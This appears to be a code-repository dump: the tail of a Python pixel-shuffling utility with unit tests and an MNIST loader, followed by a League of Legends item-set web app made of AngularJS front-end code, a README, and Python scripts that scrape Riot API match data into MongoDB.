xq, yq = outMap[xq][yq]
xr, yr = inMap[xr][yr]
return (xq * paneSize + xr, yq * paneSize + yr)
def _trivial_shuffle_map(logDim):
dim = _pow2(logDim)
coordinates = [(x,y) for x in range(dim) for y in range(dim)]
return np.array(coordinates).reshape((dim, dim, 2))
def _apply_image_map(image, map):
# Given an nxn image and an nxnx2 mapping, return the permutation
def apply_map(coord):
return image[coord[0]][coord[1]]
return np.apply_along_axis(apply_map, 2, map)
def shuffle(image, logDim, logPanes, outShuffleMap=None, inShuffleMap=None):
# Input: 32x32 image; 5 = log(32); 1; None, a 2x2 permutation image
# Output: the 32x32 is split into four 16x16 panes
# (four = (2^logPanes)^2)
dim = _pow2(logDim)
logPaneSize = logDim - logPanes
if image.shape[0]!=dim or image.shape[1]!=dim:
raise Exception("ERROR: logDim and image.shape don't match")
if outShuffleMap is None:
outShuffleMap = _trivial_shuffle_map(logPanes)
if inShuffleMap is None:
inShuffleMap = _trivial_shuffle_map(logPaneSize)
map = np.array([_coord_map(logPaneSize, x, y, outShuffleMap, inShuffleMap) \
for x in range(dim) for y in range(dim)]).reshape((dim, dim, -1))
newImage = _apply_image_map(image, map)
return newImage
# Batch processing methods
def batch_shuffle(batch, dataset, mapsDict, logPanes, hasOut, hasIn):
DATASET = __import__(dataset)
image_dim = DATASET.SIZE
(outMap, inMap) = read_shuffle_maps(mapsDict, logPanes, hasOut, hasIn)
resized = np.apply_along_axis(_reshape_pad_shuffle_unshape, 1, batch, \
image_dim, logPanes, outMap, inMap)
return resized
def _reshape_pad_shuffle_unshape(image, image_dim, logPanes, outMap, inMap):
image = image.reshape(image_dim)
image, logDim = pow2_dimensions(image)
newImage = shuffle(image, logDim, logPanes, outMap, inMap)
newImage = newImage.reshape((image.size,))
return newImage
def save_shuffle_maps(filename, logDim):
maps_dict = {}
bools = [True, False]
for logPanes, hasOut, hasIn in product(range(1, logDim+1), bools, bools):
key = (logPanes, hasOut, hasIn)
bothMaps = generate_both_maps(logDim, logPanes, hasOut, hasIn)
maps_dict[key] = bothMaps
np.save(filename, maps_dict)
def read_shuffle_maps(mapsDict, logPanes, hasOut, hasIn):
return mapsDict[(logPanes, hasOut, hasIn)]
# Unit Tests
class TestCoord(unittest.TestCase):
def test_pow2_dimensions(self):
n = 6
m = 8
image = np.arange(n*n).reshape((n,n))
zeros = [[0]*m]
desired = [[j+n*i for j in range(n)] for i in range(n)]
desired = [[0]+sub+[0] for sub in desired]
desired = np.array(zeros + desired + zeros).reshape((m,m))
self.assertTrue((pow2_dimensions(image)[0] == desired).all())
def test_generate_map_shape(self):
logDim = 3
map = _generate_one_shuffle_map(logDim)
self.assertEqual(map.shape, (2**logDim, 2**logDim, 2))
def test_coord_map_trivial(self):
logPaneSize = 4
(x,y) = (17,18)
outMap = np.array([(0,0), (0,1), (1,0), (1,1)]).reshape((2,2,-1))
inMap = np.array([[(i,j) for j in range(logPaneSize)] for i in range(logPaneSize)])
self.assertEqual(_coord_map(logPaneSize, x, y, outMap, inMap), (x,y))
def test_coord_map_out(self):
logPaneSize = 4
(x,y) = (17,18)
outMap = np.array([(0,1), (1,0), (1,1), (0,0)]).reshape((2,2,-1))
inMap = np.array([[(i,j) for j in range(logPaneSize)] for i in range(logPaneSize)])
self.assertEqual(_coord_map(logPaneSize, x, y, outMap, inMap), (1,2))
def test_image_map(self):
dim = 4
image = np.arange(dim*dim).reshape((dim, dim))
map = np.array([(x,y) for x in range(dim) for y in range(dim)]).reshape((dim, dim, -1))
equalMatrices = (image == _apply_image_map(image, map)).all()
self.assertTrue(equalMatrices)
def test_shuffle0(self):
logDim = 2
logPanes = 1
dim = 2**logDim
image = np.arange(dim*dim).reshape((dim,dim))
equalMatrices = (image == shuffle(image, logDim, logPanes)).all()
self.assertTrue(equalMatrices)
def test_shuffle1(self):
logDim = 2
logPanes = 1
dim = 2**logDim
image = np.arange(dim*dim).reshape((dim,dim))
outMap = np.array([[(0,0),(0,1)],[(1,1),(1,0)]])
output = np.array(range(8) + [10,11,8,9,14,15,12,13]).reshape((dim,dim))
equalMatrices = (output == shuffle(image, logDim, logPanes, outMap)).all()
self.assertTrue(equalMatrices)
# Testing
if __name__ == '__main__':
unittest.main()
<file_sep>/mnist.py
from tensorflow.examples.tutorials.mnist import input_data
import nn_architecture as nn
import filename_paths
SIZE = (28, 28)
PADDED_SIZE = (32, 32)
CNN = nn.MNIST_Network
def init_om(isOM):
global mnist
mnist_path = filename_paths.get_mnist_data_path(isOM)
mnist = input_data.read_data_sets(mnist_path, one_hot=True)
def get_next_batch(mode, batch_size):
if mode == "train":
return mnist.train.next_batch(batch_size)
if mode == "test":
x = mnist.test.images[:batch_size]
y = mnist.test.labels[:batch_size]
return x, y
|
6f5dbb5769d3ef9283f8a1f69fa4440a290826af
|
[
"Python",
"Shell"
] | 9
|
Shell
|
aaronslin/CBMM_shuffle_pixels
|
3e68c7effe790834100d3b0ab74ee370d3cc1d50
|
4f919f7a7d1a7a8964542a0c30b87088763b3fb5
|
refs/heads/master
|
<file_sep>'use strict';
angular.module('leagueItemSetsApp')
.controller('ChampionsCtrl', function ($scope, RiotService, SmartItemsService) {
RiotService.PatchVersions.Get().then(function (patchVersion) {
var latestPatch = patchVersion.data[0];
$scope.dataDragonURL = '//ddragon.leagueoflegends.com/cdn/' + latestPatch + '/img/champion/';
});
SmartItemsService.PatchInfo.Get().then(function (PatchInfo) {
$scope.currentPatch = PatchInfo.data.results[0].dbPatchVersion;
$scope.numGames = PatchInfo.data.numGames;
$scope.numBuilds = PatchInfo.data.numGames * 10;
});
RiotService.Champions.Get().then(function (result) {
$scope.champions = result.data.data;
});
$scope.filter = function (filter) {
angular.forEach($scope.champions, function (championDetail, championName) {
championDetail.hide = true;
if (championDetail.name.toLowerCase().indexOf(filter) > -1) {
championDetail.hide = false;
}
})
};
});
<file_sep>'use strict';
angular.module('leagueItemSetsApp')
.controller('ChampionCtrl', function ($scope, $routeParams, $location, RiotService, SmartItemsService, Utilities) {
// Get patch version (most up-to-date artwork from data dragon)
RiotService.PatchVersions.Get().then(function (patchVersion) {
var latestPatch = patchVersion.data[0];
$scope.dataDragonChampionURL = '//ddragon.leagueoflegends.com/cdn/' + latestPatch + '/img/champion/';
$scope.dataDragonItemURL = '//ddragon.leagueoflegends.com/cdn/' + latestPatch + '/img/item/';
});
// New way
$scope.mostPopularItemsFull = [];
$scope.mostSuccessfulItemsFull = [];
$scope.KDAGames = [];
$scope.mostPlayed = [];
RiotService.Champions.GetByID($routeParams.id).then(function (result) {
$scope.selectedChamp = result.data;
var champImage = result.data.image.full;
$scope.champName = champImage.slice(0, champImage.indexOf("."));
});
RiotService.Items.Get().then(function (results) {
$scope.allItems = results.data;
// Once we have all items, we can create the custom itemsets without having to poll riot each time.
SmartItemsService.SmartItems.Get($routeParams.id).then(function (result) {
// Check to see if we have any game data stored -- in the case of Kindred (today is Sept 30th, they were patched in but not enabled), they have no games!
if (result.data.results.length === 0) {
// No games played yet with this champ on this patch!
$scope.hideElements = true;
$scope.smartItems = []; $scope.smartItems.totalGamesWithChampion = 0;
} else {
$scope.hideElements = false;
$scope.smartItems = result.data.results[0];
//$scope.allItemsWinRate = $scope.smartItems.allItemsWinRate;
// Create full popular items objects
$scope.mostPopularItems = $scope.smartItems.mostPopularItems;
for (var i = 0; i < Object.keys($scope.mostPopularItems).length; i++) {
// Build actual item array for most popular items
$scope.mostPopularItems['item' + i].itemName = $scope.allItems.data[$scope.mostPopularItems['item' + i].itemId].name;
$scope.mostPopularItemsFull.push($scope.allItems.data[$scope.mostPopularItems['item'+i].itemId]);
//$scope.mostPopularItems.push($scope.allItems.data[$scope.mostPopularItems['item'+i].itemId]);
}
// Create most successful items objects
$scope.mostSuccessfulItems = [];
for (var i = 0; i < Object.keys($scope.smartItems.allItemsWinRate).length; i++) {
// We only care about items that have appeared in more than half of the games (so we don't have any sterak's gage vaynes...)
var currentItem = $scope.smartItems.allItemsWinRate[i];
if (currentItem.itemWins + currentItem.itemLosses >= $scope.smartItems.totalGamesWithChampion / 20) {
// Build actual item array for most popular items
var itemWins = currentItem.itemWins;
var itemLosses = currentItem.itemLosses;
var gamesWithItem = itemWins + itemLosses;
var itemWinRate = itemWins * 100 / gamesWithItem;
$scope.mostSuccessfulItems.push({'itemId': currentItem.itemId,
'itemName': $scope.allItems.data[currentItem.itemId].name,
'itemWins': currentItem.itemWins,
'itemLosses': currentItem.itemLosses,
'itemWinRate': itemWinRate });
}
}
var sortedSuccessfulItems = $scope.mostSuccessfulItems.sort(function(a,b) {return (a.itemWinRate < b.itemWinRate) ? 1 : ((b.itemWinRate < a.itemWinRate) ? -1 : 0);} );
for (var i = 0; i < 7; i++) {
$scope.mostSuccessfulItemsFull.push($scope.allItems.data[sortedSuccessfulItems[i].itemId])
}
// For each item in our smartItems object, look up the corresponding match and store it in an array that we'll ng-repeat
// (We'll do this for both the highest KDA builds and the three summoners with the most games -- that one will work a bit differently)
var arrayOfMatches = ['highestKDAGame', 'secondHighestKDAGame', 'thirdHighestKDAGame']; // Add in most played games once I get that working in the backend...
arrayOfMatches.forEach(function (listItem, index) {
if (typeof $scope.smartItems[listItem] !== 'undefined') {
SmartItemsService.StoredMatch.GetByMatchID($scope.smartItems[listItem].matchId).then(function (tempMatch) {
// If it's one of the KDA games, put it in the KDA game object array; if it's a "most played" game, put it in that object array
if (listItem.indexOf('KDAGame') > -1) {
// Remove the other participants that aren't playing the champion we selected!
for (var x = tempMatch.data.results[0].participants.length - 1; x >= 0; x--) {
if (tempMatch.data.results[0].participants[x].championId !== $scope.selectedChamp.id) {
tempMatch.data.results[0].participants.splice(x, 1);
tempMatch.data.results[0].participantIdentities.splice(x, 1);
} else {
// Store the participantIdentity info with the other Participant info
//var currentParticipant = tempMatch.data.results[0].participantIdentities[x].player;
var currentParticipantStats = tempMatch.data.results[0].participants[x].stats;
tempMatch.data.results[0].participants[x].summonerId = tempMatch.data.results[0].participantIdentities[x].player.summonerId;
tempMatch.data.results[0].participants[x].profileIcon = tempMatch.data.results[0].participantIdentities[x].player.profileIcon;
tempMatch.data.results[0].participants[x].summonerName = tempMatch.data.results[0].participantIdentities[x].player.summonerName;
tempMatch.data.results[0].participants[x].matchHistoryUri = tempMatch.data.results[0].participantIdentities[x].player.matchHistoryUri;
tempMatch.data.results[0].participantIdentities.splice(x, 1);
// Create simple array of items for ng-repeat
tempMatch.data.results[0].itemSet = [];
for (var y = 0; y < 6; y++) {
if (currentParticipantStats['item' + y] !== 0) {
tempMatch.data.results[0].itemSet.push($scope.allItems.data[currentParticipantStats['item' + y]]);
}
}
}
}
// Add the KDA info to the match so we don't have to calculate it again
tempMatch.data.results[0].kda = $scope.smartItems[listItem].KDA;
$scope.KDAGames.push(tempMatch.data.results[0]);
} else if (listItem.indexOf('MostGamesPlayed') > -1) {
$scope.mostPlayed.push(tempMatch);
}
})
}
})
}
});
});
$scope.openModal = function (items, appendedText) {
$('#jsonModal').modal('show');
var fileLocation = 'C:\\Riot Games\\League of Legends\\Config\\Champions\\' + $scope.selectedChamp.key + '\\Recommended';
var blocks = [{
type: 'Block Title 1',
items: items
}];
var itemSetJSON = Utilities.CreateItemSetJSON(appendedText + '\'s Build', blocks);
var data = "text/json;charset=utf-8," + encodeURIComponent(angular.toJson(itemSetJSON));
$('#downloadButton').append('<a href="data:' + data + '" download="' + appendedText + ' ' + $scope.selectedChamp.key + '.json">Download JSON</a>');
$('#fileLocation').text(fileLocation);
$('#modalLabel').text(appendedText + ' ' + $scope.selectedChamp.key);
};
$scope.close = function () {
$('#jsonModal').modal('hide');
$('#downloadButton a').remove();
};
})
// Filter for popular items - ngrepeat's "orderBy" doesn't natively work with some objects
.filter("toArray", function(){
return function(obj) {
var result = [];
angular.forEach(obj, function(val, key) {
result.push(val);
});
return result;
}});<file_sep>'use strict';
angular.module('leagueItemSetsApp')
.controller('SummonerCtrl', function ($scope, $routeParams, $location, RiotService, Utilities) {
//
//Init
//
$scope.matches = [];
$scope.KDAColor = Utilities.KDAColor;
RiotService.Champions.Get().then(function (result) {
$scope.champions = result.data.data;
RiotService.Items.Get().then(function (result) {
$scope.items = result.data.data;
if ($routeParams.summoner !== undefined) {
if (isNaN($routeParams.summoner)) {
RiotService.Summoner.GetByName($routeParams.summoner).then(function (result) {
$scope.summonerID = result.data[Utilities.CleanText($routeParams.summoner)].id;
getSummoner($scope.summonerID);
});
} else {
$scope.summonerID = $routeParams.summoner;
getSummoner($scope.summonerID);
}
}
});
});
//
//Events
//
$scope.searchSummoner = function (summoner) {
$location.path('summoner/' + summoner);
};
$scope.next5 = function(pageNumber){
getMatchHistory($scope.summonerID, pageNumber);
}
$scope.openModal = function (items, summoner, champion) {
$('#jsonModal').modal('show');
var fileLocation = 'C:\\Riot Games\\League of Legends\\Config\\Champions\\' + champion.key + '\\Recommended';
var blocks = [{
type: summoner + '\'s Block',
items: items
}];
var itemSetJSON = Utilities.CreateItemSetJSON(summoner + '\'s Build', blocks);
var data = "text/json;charset=utf-8," + encodeURIComponent(angular.toJson(itemSetJSON));
$('#downloadButton').append('<a href="data:' + data + '" download="' + summoner + ' ' + champion.key + '.json">Download JSON</a>');
$('#fileLocation').text(fileLocation);
$('#modalLabel').text(summoner + '\'s ' + champion.key);
};
$scope.close = function () {
$('#jsonModal').modal('hide');
$('#downloadButton a').remove();
};
//
//Functions
//
function getSummoner(summonerID) {
RiotService.Summoner.GetByID(summonerID).then(function (result) {
if(result.data[summonerID].length > 0){
$scope.summoner = result.data[summonerID][0].entries[0];
$scope.summoner.division = result.data[summonerID][0].tier + ' ' + $scope.summoner.division;
getMatchHistory(summonerID, 1);
}
}, function(){
$scope.showErrorMessage = true;
});
}
function getMatchHistory(id, pageNumber) {
RiotService.MatchHistory.GetBySummonerID(id, pageNumber).then(function (result) {
$scope.matches = $scope.matches.concat(result.data.matches);
angular.forEach($scope.matches, function (match) {
angular.forEach($scope.champions, function (champion) {
if (match.champion === champion.id) {
match.championDetail = champion;
}
});
RiotService.OneMatch.GetByMatchID(match.matchId).then(function(result){
var matchHistory = result.data;
for(var i = 0; i < 10; i++){
if(matchHistory.participantIdentities[i].player.summonerId === id){
var index = i;
}
}
var items = [];
for (var i = 0; i < 7; i++) {
var itemID = matchHistory.participants[index].stats['item' + i];
if (itemID !== 0) {
items.push(angular.copy($scope.items[itemID]));
}
}
match.items = items;
match.kda = matchHistory.participants[index].stats.kills + ' / ' + matchHistory.participants[index].stats.deaths + ' / ' + matchHistory.participants[index].stats.assists;
}).catch(function(){
toastr.error("You have made too many API calls at one time", "Cannot Retrieve Data");
});
});
});
}
});
<file_sep># league-item-sets
## [Live Site](http://kennyw728.github.io/league-item-sets/dist)
by <NAME> (NA: CantonNeko)
and <NAME> (NA: urbanVenturer)
- This project gives us a chance to build a product using proper software practices to give back to the Riot community that we love as well as developing our own software skills.
- We chose to do Item Sets because whenever we play a new champion, we never know what to build. We would then look up a build on a 3rd party site and tab between that site and league during the game.
Really Inconvenient. We wanted to bridge that gap by allowing summoners to find a build they like and create a build path for them. With one click, save that itemset and never have to worry about
missing a build item again.
## Why you should like us! :D
- Usefulness
- Multiple ways of finding historically proven successful builds by champion or by favorite summoners (top of the challenger ladder or your friends).
- JSON file will be created and ready for you at a click of a button
- Everything is one or two clicks away
- Technical Difficulty
- We use a ton of current technologies that is relevant in the tech industry today.
- We tried to maintain a codebase that is easily scalable with CSS classes or service calls
- Creativity/Originality
- We hope it looks nice for our users
- We haven't seen anything online that can create item set JSON files easily and we hope we can fill that gap for summoners
- Project Documentation
- Spent a lot of time here :D
## Our process
# Frontend
- Setup GitHub repository
- Download GitBash, NodeJS
- Use Yeoman to create our scaffolding website structure
- Use Netbeans to create/edit code
- Grunt to serve/test/dist our code
# Backend
- Initialize Python webapp from OpenShift
- Create cron script to periodically store match history from challenger and master tier players
- Perform KDA and popular item analysis and store in champion-centered MongoDB collection
- Create Restful routes via Flask to use with our front-end
## Technologies used
- Front End
- HTML
- CSS (Twitter Bootstrap)
- JavaScript (AngularJS)
- NodeJS with Ruby
- Yeoman
- Grunt
- Back End
- Rito Games API
- MongoDB
- Python
- Flask
- Repository
- GitHub
- IDE
- NetBeans
- Webstorm
## Challenges Faced
- Time Constraint
- We started on the project late (August 15) and took a week off to travel to NYC to watch LCS Finals and to Seattle for PAX (Aug 21 - Aug 30).
- This gives us only effectively only 6 days to brainstorm ideas AND develop the code, while balancing school and work.
- We still hope you find this site useful and insightful given slight incompleteness given our time constraints.
- Javascript Security
- We wanted to automate the process of clicking on an itemset and it being directly downloaded to the correct location. However, we cannot require users to install/run our project.
Javascript has no way of directly downloading to specific folders, unless the user specifies it.
We will therefore have to trust users to create a folder in the correct location and download the JSON file in the correct location.
## TODO (we have more cool ideas, but ran out of time)
- Champion Page
- Top half for most frequent
- Bottom half list best performing (kda, most win by summoner, most successful builds)
- Summoner Page
- Search for specific champions played by specific players
- KDA indicators (with W/L indicator)
- Search past the 10 most recent ranked games
- General additions
- Build order breakdowns (early/mid/late) in addition to final build for summoners
- Analyze games from other regions
- Automate analysis python script
- Remove games from older patches
- CSS (can always make it prettier)
- Documentation (can always have more of this)
<file_sep><div class="row">
<div class="col-xs-3 col-md-2" >
<img class="champIcon" src="{{dataDragonChampionURL + selectedChamp.image.full}}"/>
</div>
<div >
<span><h2>{{selectedChamp.name}}, {{selectedChamp.title}} — {{smartItems.totalGamesWithChampion}} challenger/master games analyzed</h2></span>
</div>
</div>
<!-- Field that displays when no games are found yet -->
<br ng-hide="!hideElements"/>
<div class="col-xs-offset-1 col-xs-11" ng-hide="!hideElements">
<img class="center-img" style="width: 100%;" ng-src="{{'//ddragon.leagueoflegends.com/cdn/img/champion/splash/' + champName + '_0.jpg' }}">
</div>
<h3 ng-hide="!hideElements" style="text-align: center;">Unfortunately, we don't have any games recorded yet with {{selectedChamp.name}}. Check back in at a later time!</h3>
<div class="row" ng-hide="hideElements">
<div class="col-md-2">
<h3>Most Popular Items:</h3>
</div>
<div class="col-md-9" style="padding: 0;">
<div class="col-xs-2 popularItems well" ng-repeat="item in mostPopularItems | orderBy: '-itemOccurrence' " >
<img class="img-container" ng-src="{{dataDragonItemURL + item.itemId + '.png'}}" title="Appeared {{item.itemOccurrence}} times in final builds!">
<span class="center-text">{{item.itemName}}</span>
<p class="center-text">(Appeared {{item.itemOccurrence}} times in final builds)</p>
</div>
</div>
<div class="col-md-1">
<button type="button" class="btn btn-primary" ng-click="openModal(mostPopularItemsFull, 'Popular Items')">Get Item Set</button>
</div>
</div>
<br ng-hide="hideElements"/>
<div class="row" ng-hide="hideElements">
<div class="col-md-2">
<h3>Items with Highest Winrates:</h3>
</div>
<div class="col-md-9" style="padding: 0;">
<div class="col-xs-2 popularItems well" ng-repeat="item in mostSuccessfulItems | orderBy: '-itemWinRate' | limitTo: 7" >
<img class="img-container" ng-src="{{dataDragonItemURL + item.itemId + '.png'}}" title="{{item.itemWinRate | number:1}}% winrate">
<span class="center-text">{{item.itemName}}</span>
<p class="center-text">{{item.itemWins}}W/{{item.itemLosses}}L - <br/> {{item.itemWinRate | number:1}}% winrate)</p>
<!-- <p class="center-text">{{item.itemWins}}/{{smartItems.numberOfWins}}</p> -->
</div>
</div>
<div class="col-md-1">
<button type="button" class="btn btn-primary" ng-click="openModal(mostSuccessfulItemsFull, 'Successful Items')">Get Item Set</button>
</div>
</div>
<!-- Trigger Button HTML -->
<input ng-hide="hideElements" class="col-md-offset-3 col-md-6 btn btn-primary" type="button" data-toggle="collapse" data-target="#toggleNote" value="Curious about the items you see above?">
<br ng-hide="hideElements"/>
<br ng-hide="hideElements"/>
<!-- Collapsible Element HTML -->
<div ng-hide="hideElements" id="toggleNote" class="col-md-offset-2 col-md-9 collapse"><p class="well">Only highest-tier items that were present in final builds of at least 20% of games are considered as "highest winrate" items. This is our way of attempting to eliminate outlying datasets, such as players trading in their standard items for random items before the game ends.
<br/> <br/>(We have nothing against you, guy who won a game with AP Vayne; we just don't want your single win with Deathcap, Voidstaff, and Hourglass mucking things up...)</p><br/>
<br/></div>
<br/>
<br ng-hide="hideElements"/>
<br ng-hide="hideElements"/>
<br ng-hide="hideElements"/>
<br ng-hide="hideElements"/>
<div class="row" ng-hide="hideElements">
<h3 class="col-sm-2">
Highest KDA Final Builds:
</h3>
<div class="col-sm-3" ng-repeat="match in KDAGames | orderBy: '-kda'" style="text-align: center">
<div class="well wellHover" ng-repeat="participant in match.participants | toArray" >
<a ng-href="http://matchhistory.na.leagueoflegends.com/en/#match-details/NA1/{{match.matchId}}/{{participant.summonerId}}" target="_blank" style="color: #FFFFFF; text-decoration:none;" >
<div>
<img src="https://avatar.leagueoflegends.com/na/{{participant.summonerName.split(' ').join('')}}.png">
<h4 class="champTitle ellipsis">{{participant.summonerName}}</h4>
<h4 class="champTitle ellipsis">{{participant.stats.kills}}/{{participant.stats.deaths}}/{{participant.stats.assists}} - KDA: {{match.kda}}</h4>
<div class="row" style="margin-bottom: 15px; height: 60px;">
<div class="col-xs-6 col-xs-offset-3">
<div class="row">
<div class="col-xs-3" style="padding: 2px;" ng-repeat="item in match.itemSet track by $index" >
<img style="width: 100%" ng-src="{{dataDragonItemURL + item.id + '.png'}}" title="{{item.name}}">
</div>
</div>
</div>
</div>
{{participant.itemSet}}
<button type="button" class="btn btn-primary" ng-click="$event.preventDefault(); $event.stopPropagation(); openModal(match.itemSet, participant.summonerName)">Get Item Set</button>
</div>
</a>
</div>
</div>
</div>
<!-- Modal below -->
<div class="modal fade" id="jsonModal" tabindex="-1" role="dialog" data-backdrop="static" data-keyboard="false">
<div class="modal-dialog" role="document" style="margin-top: 200px">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-label="Close" ng-click="close()"><span aria-hidden="true">×</span></button>
<h4 class="modal-title" id="modalLabel"></h4>
</div>
<div class="modal-body text-center">
<div>
<label>Go to this directory (or associating Riot Games Directory):</label>
<div style="margin: 0 0 10px 25px"><samp id="fileLocation"></samp></div>
<label>and save the below file into the above directory.</label>
</div>
<button class="btn btn-primary" id="downloadButton" style="margin: 15px"></button>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-primary" data-dismiss="modal" ng-click="close()">Close</button>
</div>
</div>
</div>
</div>
<br/><file_sep>angular.module('leagueItemSetsApp')
.service('Utilities', ['RiotService', function (RiotService) {
var items, consumableBlock;
RiotService.Items.Get().then(function (result) {
items = result.data.data;
consumableBlock = {
type: 'All Consumables',
recMath: false,
minSummonerLevel: -1,
maxSummonerLevel: -1,
showIfSummonerSpell: "",
hideIfSummonerSpell: "",
items: []
};
angular.forEach(items, function(item){
if(item.consumed === true && item.tags){
consumableBlock.items.push({
id: item.id.toString(),
count: 1
});
}
});
});
var CleanText = function (text) {
return text.toLowerCase().replace(/ /g, '');
};
var CreateItemSetJSON = function (title, blocks) {
var result = {
title: title,
type: 'custom',
map: 'any',
mode: 'any',
priority: 'false',
sortrank: 0,
blocks: []
};
angular.forEach(blocks, function (block) {
var newBlock = {
type: block.type,
recMath: false,
minSummonerLevel: -1,
maxSummonerLevel: -1,
showIfSummonerSpell: "",
hideIfSummonerSpell: "",
items: []
}
angular.forEach(block.items, function (item) {
newBlock.items.push({
id: item.id.toString(),
count: 1
});
});
result.blocks.push(newBlock);
});
result.blocks.push(consumableBlock);
return result;
};
var KDAColor = function (kda) {
var k = parseInt(kda.split('/')[0]);
var d = parseInt(kda.split('/')[1]);
var a = parseInt(kda.split('/')[2]);
if((k + a) / d >= 5){
return 'green';
}
if((k + a) / d < 2){
return '{border-color: red}';
}
return '{border-color: white}';
};
return {
CleanText: CleanText,
CreateItemSetJSON: CreateItemSetJSON,
KDAColor: KDAColor
};
}
]);<file_sep>#/usr/bin/env python
import requests
import pymongo
import json
import time
import datetime
import os
now = datetime.datetime.now()
print(now)
#Initialize env variables
OPENSHIFT_LOG_DIR = os.getenv("OPENSHIFT_LOG_DIR")
OPENSHIFT_MONGODB_DB_HOST = os.getenv("OPENSHIFT_MONGODB_DB_HOST")
OPENSHIFT_MONGODB_DB_PORT = int(os.getenv("OPENSHIFT_MONGODB_DB_PORT"))
OPENSHIFT_MONDODB_DB_USER = os.getenv("OPENSHIFT_MONGODB_DB_USERNAME")
OPENSHIFT_MONGODB_DB_PW = os.getenv("OPENSHIFT_MONGODB_DB_PASSWORD")
# TODO: CHECK CURRENT PATCH - IF ON NEW PATCH, WE HAVE TO REMOVE ENTRIES FROM PREVIOUS PATCH
#Initialize temp folder path and file (for debugging purposes)
tempFolderPath = OPENSHIFT_LOG_DIR + "pythonScriptTest.log"
# Log info on mongodb for debugging purposes
pythonScriptTest = open(tempFolderPath,'a')
pythonScriptTest.write('------------------\n')
pythonScriptTest.close()
#Define mongo client
client = pymongo.MongoClient(OPENSHIFT_MONGODB_DB_HOST,OPENSHIFT_MONGODB_DB_PORT)
client.leagueitemsets.authenticate(OPENSHIFT_MONDODB_DB_USER, OPENSHIFT_MONGODB_DB_PW)
# Initialize database where I intend to store data
db = client.leagueitemsets
# Look for challenger players
challengerJSONResponse = requests.get('https://na.api.pvp.net/api/lol/na/v2.5/league/challenger?type=RANKED_SOLO_5x5&api_key=<KEY>')
time.sleep(3) # Wait 3 seconds before looking for master-tier players
#Look for master players
mastersJSONResponse = requests.get('https://na.api.pvp.net/api/lol/na/v2.5/league/master?type=RANKED_SOLO_5x5&api_key=<KEY>')
# Get status codes
#print(challengerJSONResponse.status_code)
#print(mastersJSONResponse.status_code)
challengerJSONobject = json.loads(challengerJSONResponse.text)
masterJSONobject = json.loads(mastersJSONResponse.text)
# Let's attempt to analyze said data!
listOfChallenjour = challengerJSONobject['entries']
listOfMasters = masterJSONobject['entries']
# For each player in challenger and masters, get their latest match history (attempting to join lists?)
challengerAndMasterPlayers = listOfChallenjour + listOfMasters
for specificPlayer in challengerAndMasterPlayers:
#print(specificPlayer['playerOrTeamId'])
#time.sleep(1)
stringURL = 'https://na.api.pvp.net/api/lol/na/v2.2/matchhistory/'+ str(specificPlayer['playerOrTeamId']) + '?api_key=<KEY>'
playerInfo = requests.get(stringURL) # Get match history!
matchHistoryObject = json.loads(playerInfo.text)['matches']
for eachMatch in matchHistoryObject:
# We only care if it's SR map, solo/duo queue
if eachMatch['queueType']=='RANKED_SOLO_5x5':
# Get this match's match ID and champion playing.
# If we find a match with this information already in the database, skip it!
matchId = eachMatch['matchId']
championId = eachMatch['participants'][0]['championId']
# Only care if we haven't pushed this match to the database (for this particular player)
sameMatchInDB = db.Matches.find({'matchId': matchId, 'championId': championId}).count()
if sameMatchInDB == 0:
# Build JSON for this match
matchTrimmedData = {}
matchTrimmedData['matchId'] = eachMatch['matchId']
matchTrimmedData['matchVersion'] = eachMatch['matchVersion']
matchTrimmedData['matchCreation'] = eachMatch['matchCreation']
matchTrimmedData['championId'] = eachMatch['participants'][0]['championId']
matchTrimmedData['summonerName'] = eachMatch['participantIdentities'][0]['player']['summonerName']
matchTrimmedData['summonerId'] = eachMatch['participantIdentities'][0]['player']['summonerId']
matchTrimmedData['item0'] = eachMatch['participants'][0]['stats']['item0']
matchTrimmedData['item1'] = eachMatch['participants'][0]['stats']['item1']
matchTrimmedData['item2'] = eachMatch['participants'][0]['stats']['item2']
matchTrimmedData['item3'] = eachMatch['participants'][0]['stats']['item3']
matchTrimmedData['item4'] = eachMatch['participants'][0]['stats']['item4']
matchTrimmedData['item5'] = eachMatch['participants'][0]['stats']['item5']
matchTrimmedData['item6'] = eachMatch['participants'][0]['stats']['item6']
matchTrimmedData['winner'] = eachMatch['participants'][0]['stats']['winner']
matchTrimmedData['kills'] = eachMatch['participants'][0]['stats']['kills']
matchTrimmedData['deaths'] = eachMatch['participants'][0]['stats']['deaths']
matchTrimmedData['assists'] = eachMatch['participants'][0]['stats']['assists']
# Actual json creation step
matchTrimmedJson = json.dumps(matchTrimmedData)
#print(matchTrimmedData['summonerName'])
#print(matchTrimmedData['summonerId'])
# Insert the match!
db.Matches.insert_one(json.loads(matchTrimmedJson))
pythonScriptTest = open(tempFolderPath,'a')
pythonScriptTest.write('MatchId of ' + str(matchId) + ' with championId ' + str(championId) + ' has just been added!\n')
pythonScriptTest.close()
# Pause before looking at next match in match history (only for debugging, isn't needed for API rate-limiting)
#time.sleep(2)
else:
pythonScriptTest = open(tempFolderPath,'a')
pythonScriptTest.write('MatchId of ' + str(matchId) + ' with championId ' + str(championId) + ' has already been added!\n')
pythonScriptTest.close()
# Wait a bit before grabbing the next set of match histories (rate limited api means we can only do 1 call every 1.2 seconds)
time.sleep(3)
<file_sep>#/usr/bin/env python
import requests
import pymongo
import json
import time
import datetime
import os
#from array import array
import itertools
import operator
from collections import Counter
# This script will be run after the database has been compiled with player builds.
# Its function is to grab match data from each champion from our "Matches" collection and determine the most frequently bought items.
# The final json for each champion will contain a "most frequently bought" build, a "best performing" build (by KDA), and a "most win by summoner" build
# Initialize env variables (disabled for local testing)
'''
OPENSHIFT_LOG_DIR = os.getenv("OPENSHIFT_LOG_DIR")
OPENSHIFT_MONGODB_DB_HOST = os.getenv("OPENSHIFT_MONGODB_DB_HOST")
OPENSHIFT_MONGODB_DB_PORT = int(os.getenv("OPENSHIFT_MONGODB_DB_PORT"))
OPENSHIFT_MONDODB_DB_USER = os.getenv("OPENSHIFT_MONGODB_DB_USERNAME")
OPENSHIFT_MONGODB_DB_PW = os.getenv("OPENSHIFT_MONGODB_DB_PASSWORD")
'''
# (For now, hard code db host/port/username/pw)
OPENSHIFT_MONGODB_DB_HOST = "127.0.0.1"
OPENSHIFT_MONGODB_DB_PORT = 27017
OPENSHIFT_MONDODB_DB_USER = "admin"
OPENSHIFT_MONGODB_DB_PW = "<PASSWORD>"
# Define mongo client
